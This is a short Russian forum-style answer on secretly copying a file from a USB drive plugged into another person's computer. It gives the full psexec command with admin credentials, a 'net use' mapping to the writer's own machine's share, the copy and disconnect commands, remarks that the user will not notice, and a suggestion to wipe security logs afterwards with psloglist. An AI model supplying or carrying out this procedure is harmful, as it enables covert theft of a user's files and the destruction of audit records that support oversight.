Если есть права админа на удаленном компе.
Поскольку флешка наверняка не расшарена, то через удаленную командную строку.
Утилита psexec из пакета pstools
описание и пакет
psexec -u admin -p admpass \\totcomp cmd.exe
В удаленной командной строке подключаете свой диск:
net use x: \\moycomp\C
И копируете файл с флешки на свой диск X:
copy d:\file x:\*.*
Отключаете свой диск
net use X: /d
и отключаетесь от чужого компа
exit
А вот заметит ли пользователь удаленного компа - это вопрос. Обычный пользователь не заметит, все действия для него невидимы, но если в этот момент он откроет например "Мой компьютер" и увидит диск X: наверно удивится. Если включен аудит безопасности, то в логах тоже останутся какие-то следы. Правда логи можно и потереть после отключения диска X и выхода (утилита psloglist.exe из pstools)